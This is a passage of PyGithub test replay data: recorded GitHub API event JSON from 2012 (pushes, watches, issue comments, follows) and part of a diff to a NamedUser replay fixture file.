png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:36:58Z","line":null,"body":"Comment created by PyGithub","updated_at":"2012-05-22T18:36:58Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361928","id":1361928,"path":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361928"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:36:58Z","id":"1554697057","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-22T17:15:11Z","id":"1554664316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"661812b9dd136efdb0e0c413793deb0939146651","size":2,"push_id":79550719,"commits":[{"sha":"c93f9cc8484b7835130689befc89ae88c7e72694","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c93f9cc8484b7835130689befc89ae88c7e72694","distinct":true,"message":"Remove noise in human readable description"},{"sha":"661812b9dd136efdb0e0c413793deb0939146651","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/661812b9dd136efdb0e0c413793deb0939146651","distinct":true,"message":"Test watching"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T13:48:45Z","id":"1554164185","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-21T11:31:55Z","id":"1554123822","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-21T11:17:12Z","body":"Implemented in ca97469. Will be in version 1.0.","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5820199","id":5820199,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":2,"open_issues":9,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120319","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"open_issues":9,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","size":1,"push_id":79524271,"commits":[{"sha":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","distinct":true,"message":"Retrieve rate limiting information"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:16:05Z","id":"1554120027","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","size":4,"push_id":79431688,"commits":[{"sha":"fd18d6299da666bffb9490a1a784060ca7a516f1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fd18d6299da666bffb9490a1a784060ca7a516f1","distinct":true,"message":"Test IssueComment"},{"sha":"beaa58ca0c038469b3b553b804b4d37b2363f8e2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/beaa58ca0c038469b3b553b804b4d37b2363f8e2","distinct":true,"message":"Test IssueEvent attributes"},{"sha":"6a2e4b4958385667c892cbd720fb91c6c44ab81a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6a2e4b4958385667c892cbd720fb91c6c44ab81a","distinct":true,"message":"Improve test coverage of NamedUser"},{"sha":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d5ba645d446d9c237a52ddc9cdc6862e399c62dc","distinct":true,"message":"Improve test coverage of AuthenticatedUser"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-20T17:59:32Z","id":"1553953684","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"FollowEvent","payload":{"target":{"name":"Vincent Driessen","company":"3rd Cloud","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","public_repos":61,"blog":"http://nvie.com","followers":297,"url":"https://api.github.com/users/nvie","public_gists":16,"hireable":false,"id":83844,"type":"User","bio":null,"login":"nvie","html_url":"https://github.com/nvie","email":"vincent@3rdcloud.com","following":41}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-20T12:47:52Z","id":"1553918130","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}}] - diff --git a/tests/ReplayData/NamedUser.testGetPublicReceivedEvents.txt b/tests/ReplayData/NamedUser.testGetPublicReceivedEvents.txt index 0a17525c62..0a1327c016 100644 --- a/tests/ReplayData/NamedUser.testGetPublicReceivedEvents.txt +++ b/tests/ReplayData/NamedUser.testGetPublicReceivedEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('content-length', '79562'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"901c887a2dc34d6a5067538b206fdb07"'), ('date', 'Sun, 20 May 2012 12:29:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:29:17Z","body":"+1","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808535","id":5808535,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"login":"cherryboss"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":23,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:29:18Z","id":"1553916447","actor":{"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"login":"cherryboss"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:25:03Z","body":"+1","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808513","id":5808513,"user":{"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"login":"Aurielle"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":22,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:25:06Z","id":"1553916062","actor":{"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"login":"Aurielle"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:23:10Z","body":"+1","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808502","id":5808502,"user":{"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"login":"janmarek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":21,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:23:10Z","id":"1553915882","actor":{"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"login":"janmarek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:47Z","body":"+1","updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808501","id":5808501,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"login":"Jirda"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":20,"updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:48Z","id":"1553915852","actor":{"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"login":"Jirda"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:42Z","body":"+1","updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808500","id":5808500,"user":{"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"login":"NeosinneR"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":19,"updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:43Z","id":"1553915842","actor":{"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"login":"NeosinneR"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:39Z","body":"+1","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808494","id":5808494,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"login":"Acnnair"}},"action":"created","issue":{"number":34,"pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"created_at":"2011-01-21T16:04:58Z","comments":18,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"html_url":"https://github.com/github/markup/issues/34","labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:39Z","id":"1553915747","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"login":"Acnnair"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:18Z","body":"+ 01 :)","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808490","id":5808490,"user":{"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"login":"adamtomecek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":17,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: 